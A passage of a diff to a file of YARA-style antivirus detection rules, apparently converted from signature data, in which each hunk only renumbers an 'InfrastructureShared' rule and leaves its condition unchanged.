01 00 01 00 21 " @@ -12150,7 +12214,7 @@ rule _InfrastructureShared_1131{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1132{ +rule _InfrastructureShared_1136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12160,7 +12224,7 @@ rule _InfrastructureShared_1132{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1133{ +rule _InfrastructureShared_1137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12170,7 +12234,7 @@ rule _InfrastructureShared_1133{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1134{ +rule _InfrastructureShared_1138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12180,7 +12244,7 @@ rule _InfrastructureShared_1134{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1135{ +rule _InfrastructureShared_1139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12190,7 +12254,7 @@ rule _InfrastructureShared_1135{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1136{ +rule _InfrastructureShared_1140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12200,7 +12264,7 @@ rule _InfrastructureShared_1136{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1137{ +rule _InfrastructureShared_1141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12210,7 +12274,7 @@ rule _InfrastructureShared_1137{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1138{ +rule _InfrastructureShared_1142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12220,7 +12284,7 @@ rule _InfrastructureShared_1138{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1139{ +rule _InfrastructureShared_1143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12230,7 +12294,7 @@ rule _InfrastructureShared_1139{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1140{ +rule _InfrastructureShared_1144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12240,7 +12304,7 @@ rule _InfrastructureShared_1140{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1141{ +rule _InfrastructureShared_1145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12250,7 +12314,7 @@ rule _InfrastructureShared_1141{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1142{ +rule _InfrastructureShared_1146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12260,7 +12324,7 @@ rule _InfrastructureShared_1142{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1143{ +rule _InfrastructureShared_1147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12270,7 +12334,7 @@ rule _InfrastructureShared_1143{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1144{ +rule _InfrastructureShared_1148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12280,7 +12344,7 @@ rule _InfrastructureShared_1144{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1145{ +rule _InfrastructureShared_1149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12290,7 +12354,7 @@ rule _InfrastructureShared_1145{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1146{ +rule _InfrastructureShared_1150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12300,7 +12364,7 @@ rule _InfrastructureShared_1146{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1147{ +rule _InfrastructureShared_1151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12310,7 +12374,7 @@ rule _InfrastructureShared_1147{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1148{ +rule _InfrastructureShared_1152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12320,7 +12384,7 @@ rule _InfrastructureShared_1148{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1149{ +rule _InfrastructureShared_1153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12330,7 +12394,7 @@ rule _InfrastructureShared_1149{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1150{ +rule _InfrastructureShared_1154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12340,7 +12404,7 @@ rule _InfrastructureShared_1150{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1151{ +rule _InfrastructureShared_1155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12350,7 +12414,7 @@ rule _InfrastructureShared_1151{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1152{ +rule _InfrastructureShared_1156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12360,7 +12424,7 @@ rule _InfrastructureShared_1152{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1153{ +rule _InfrastructureShared_1157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12370,7 +12434,7 @@ rule _InfrastructureShared_1153{ ((#a_72_0 & 1)*22563) >=1 } -rule _InfrastructureShared_1154{ +rule _InfrastructureShared_1158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12380,7 +12444,7 @@ rule _InfrastructureShared_1154{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1155{ +rule _InfrastructureShared_1159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12390,7 +12454,7 @@ rule _InfrastructureShared_1155{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1156{ +rule _InfrastructureShared_1160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12400,7 +12464,7 @@ rule _InfrastructureShared_1156{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1157{ +rule _InfrastructureShared_1161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12410,7 +12474,7 @@ rule _InfrastructureShared_1157{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1158{ +rule _InfrastructureShared_1162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12420,7 +12484,7 @@ rule _InfrastructureShared_1158{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1159{ +rule _InfrastructureShared_1163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12430,7 +12494,7 @@ rule _InfrastructureShared_1159{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1160{ +rule _InfrastructureShared_1164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12440,7 +12504,7 @@ rule _InfrastructureShared_1160{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1161{ +rule _InfrastructureShared_1165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12450,7 +12514,7 @@ rule _InfrastructureShared_1161{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1162{ +rule _InfrastructureShared_1166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12460,7 +12524,7 @@ rule _InfrastructureShared_1162{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1163{ +rule _InfrastructureShared_1167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12470,7 +12534,7 @@ rule _InfrastructureShared_1163{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1164{ +rule _InfrastructureShared_1168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12480,7 +12544,7 @@ rule _InfrastructureShared_1164{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1165{ +rule _InfrastructureShared_1169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12490,7 +12554,7 @@ rule _InfrastructureShared_1165{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1166{ +rule _InfrastructureShared_1170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12500,7 +12564,7 @@ rule _InfrastructureShared_1166{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1167{ +rule _InfrastructureShared_1171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12510,7 +12574,7 @@ rule _InfrastructureShared_1167{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1168{ +rule _InfrastructureShared_1172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12520,7 +12584,7 @@ rule _InfrastructureShared_1168{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1169{ +rule _InfrastructureShared_1173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12530,7 +12594,7 @@ rule _InfrastructureShared_1169{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1170{ +rule _InfrastructureShared_1174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12540,7 +12604,7 @@ rule _InfrastructureShared_1170{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1171{ +rule _InfrastructureShared_1175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12550,7 +12614,7 @@ rule _InfrastructureShared_1171{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1172{ +rule _InfrastructureShared_1176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12560,7 +12624,7 @@ rule _InfrastructureShared_1172{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1173{ +rule _InfrastructureShared_1177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12570,7 +12634,7 @@ rule _InfrastructureShared_1173{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1174{ +rule _InfrastructureShared_1178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12580,7 +12644,7 @@ rule _InfrastructureShared_1174{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1175{ +rule _InfrastructureShared_1179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12590,7 +12654,7 @@ rule _InfrastructureShared_1175{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1176{ +rule _InfrastructureShared_1180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12600,7 +12664,7 @@ rule _InfrastructureShared_1176{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1177{ +rule _InfrastructureShared_1181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12610,7 +12674,7 @@ rule _InfrastructureShared_1177{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1178{ +rule _InfrastructureShared_1182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12620,7 +12684,7 @@ rule _InfrastructureShared_1178{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1179{ +rule _InfrastructureShared_1183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12630,7 +12694,7 @@ rule _InfrastructureShared_1179{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1180{ +rule _InfrastructureShared_1184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12640,7 +12704,7 @@ rule _InfrastructureShared_1180{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1181{ +rule _InfrastructureShared_1185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12650,7 +12714,7 @@ rule _InfrastructureShared_1181{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1182{ +rule _InfrastructureShared_1186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12660,7 +12724,7 @@ rule _InfrastructureShared_1182{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1183{ +rule _InfrastructureShared_1187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12670,7 +12734,7 @@ rule _InfrastructureShared_1183{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1184{ +rule _InfrastructureShared_1188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12680,7 +12744,7 @@ rule _InfrastructureShared_1184{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1185{ +rule _InfrastructureShared_1189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12690,7 +12754,7 @@ rule _InfrastructureShared_1185{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1186{ +rule _InfrastructureShared_1190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12700,7 +12764,7 @@ rule _InfrastructureShared_1186{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1187{ +rule _InfrastructureShared_1191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12710,7 +12774,7 @@ rule _InfrastructureShared_1187{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1188{ +rule _InfrastructureShared_1192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12720,7 +12784,7 @@ rule _InfrastructureShared_1188{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1189{ +rule _InfrastructureShared_1193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12730,7 +12794,7 @@ rule _InfrastructureShared_1189{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1190{ +rule _InfrastructureShared_1194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12740,7 +12804,7 @@ rule _InfrastructureShared_1190{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1191{ +rule _InfrastructureShared_1195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12750,7 +12814,7 @@ rule _InfrastructureShared_1191{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1192{ +rule _InfrastructureShared_1196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12760,7 +12824,7 @@ rule _InfrastructureShared_1192{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1193{ +rule _InfrastructureShared_1197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12770,7 +12834,7 @@ rule _InfrastructureShared_1193{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1194{ +rule _InfrastructureShared_1198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12780,7 +12844,7 @@ rule _InfrastructureShared_1194{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1195{ +rule _InfrastructureShared_1199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12790,7 +12854,7 @@ rule _InfrastructureShared_1195{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1196{ +rule _InfrastructureShared_1200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12800,7 +12864,7 @@ rule _InfrastructureShared_1196{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1197{ +rule _InfrastructureShared_1201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12810,7 +12874,7 @@ rule _InfrastructureShared_1197{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1198{ +rule _InfrastructureShared_1202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12820,7 +12884,7 @@ rule _InfrastructureShared_1198{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1199{ +rule _InfrastructureShared_1203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12830,7 +12894,7 @@ rule _InfrastructureShared_1199{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1200{ +rule _InfrastructureShared_1204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12840,7 +12904,7 @@ rule _InfrastructureShared_1200{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1201{ +rule _InfrastructureShared_1205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12850,7 +12914,7 @@ rule _InfrastructureShared_1201{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1202{ +rule _InfrastructureShared_1206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12860,7 +12924,7 @@ rule _InfrastructureShared_1202{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1203{ +rule _InfrastructureShared_1207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12870,7 +12934,7 @@ rule _InfrastructureShared_1203{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1204{ +rule _InfrastructureShared_1208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12880,7 +12944,7 @@ rule _InfrastructureShared_1204{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1205{ +rule _InfrastructureShared_1209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12890,7 +12954,7 @@ rule _InfrastructureShared_1205{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1206{ +rule _InfrastructureShared_1210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12900,7 +12964,7 @@ rule _InfrastructureShared_1206{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1207{ +rule _InfrastructureShared_1211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12910,7 +12974,7 @@ rule _InfrastructureShared_1207{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1208{ +rule _InfrastructureShared_1212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12920,7 +12984,7 @@ rule _InfrastructureShared_1208{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1209{ +rule _InfrastructureShared_1213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12930,7 +12994,7 @@ rule _InfrastructureShared_1209{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1210{ +rule _InfrastructureShared_1214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12940,7 +13004,7 @@ rule _InfrastructureShared_1210{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1211{ +rule _InfrastructureShared_1215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12950,7 +13014,7 @@ rule _InfrastructureShared_1211{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1212{ +rule _InfrastructureShared_1216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12960,7 +13024,7 @@ rule _InfrastructureShared_1212{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1213{ +rule _InfrastructureShared_1217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12970,7 +13034,7 @@ rule _InfrastructureShared_1213{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1214{ +rule _InfrastructureShared_1218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12980,7 +13044,7 @@ rule _InfrastructureShared_1214{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1215{ +rule _InfrastructureShared_1219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12990,7 +13054,7 @@ rule _InfrastructureShared_1215{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1216{ +rule _InfrastructureShared_1220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13000,7 +13064,7 @@ rule _InfrastructureShared_1216{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1217{ +rule _InfrastructureShared_1221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13010,7 +13074,7 @@ rule _InfrastructureShared_1217{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1218{ +rule _InfrastructureShared_1222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13020,7 +13084,7 @@ rule _InfrastructureShared_1218{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1219{ +rule _InfrastructureShared_1223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13030,7 +13094,7 @@ rule _InfrastructureShared_1219{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1220{ +rule _InfrastructureShared_1224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13040,7 +13104,7 @@ rule _InfrastructureShared_1220{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1221{ +rule _InfrastructureShared_1225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13050,7 +13114,7 @@ rule _InfrastructureShared_1221{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1222{ +rule _InfrastructureShared_1226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13060,7 +13124,7 @@ rule _InfrastructureShared_1222{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1223{ +rule _InfrastructureShared_1227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13070,7 +13134,7 @@ rule _InfrastructureShared_1223{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1224{ +rule _InfrastructureShared_1228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13080,7 +13144,7 @@ rule _InfrastructureShared_1224{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1225{ +rule _InfrastructureShared_1229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13090,7 +13154,7 @@ rule _InfrastructureShared_1225{ ((#a_69_0 & 1)*19747) >=1 } -rule _InfrastructureShared_1226{ +rule _InfrastructureShared_1230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13100,7 +13164,7 @@ rule _InfrastructureShared_1226{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1227{ +rule _InfrastructureShared_1231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13110,7 +13174,7 @@ rule _InfrastructureShared_1227{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1228{ +rule _InfrastructureShared_1232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13120,7 +13184,7 @@ rule _InfrastructureShared_1228{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1229{ +rule _InfrastructureShared_1233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13130,7 +13194,7 @@ rule _InfrastructureShared_1229{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1230{ +rule _InfrastructureShared_1234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13140,7 +13204,7 @@ rule _InfrastructureShared_1230{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1231{ +rule _InfrastructureShared_1235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -13151,7 +13215,7 @@ rule _InfrastructureShared_1231{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-29886) >=2 } -rule _InfrastructureShared_1232{ +rule _InfrastructureShared_1236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13161,7 +13225,7 @@ rule _InfrastructureShared_1232{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1233{ +rule _InfrastructureShared_1237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13171,7 +13235,7 @@ rule _InfrastructureShared_1233{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1234{ +rule _InfrastructureShared_1238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13181,7 +13245,7 @@ rule 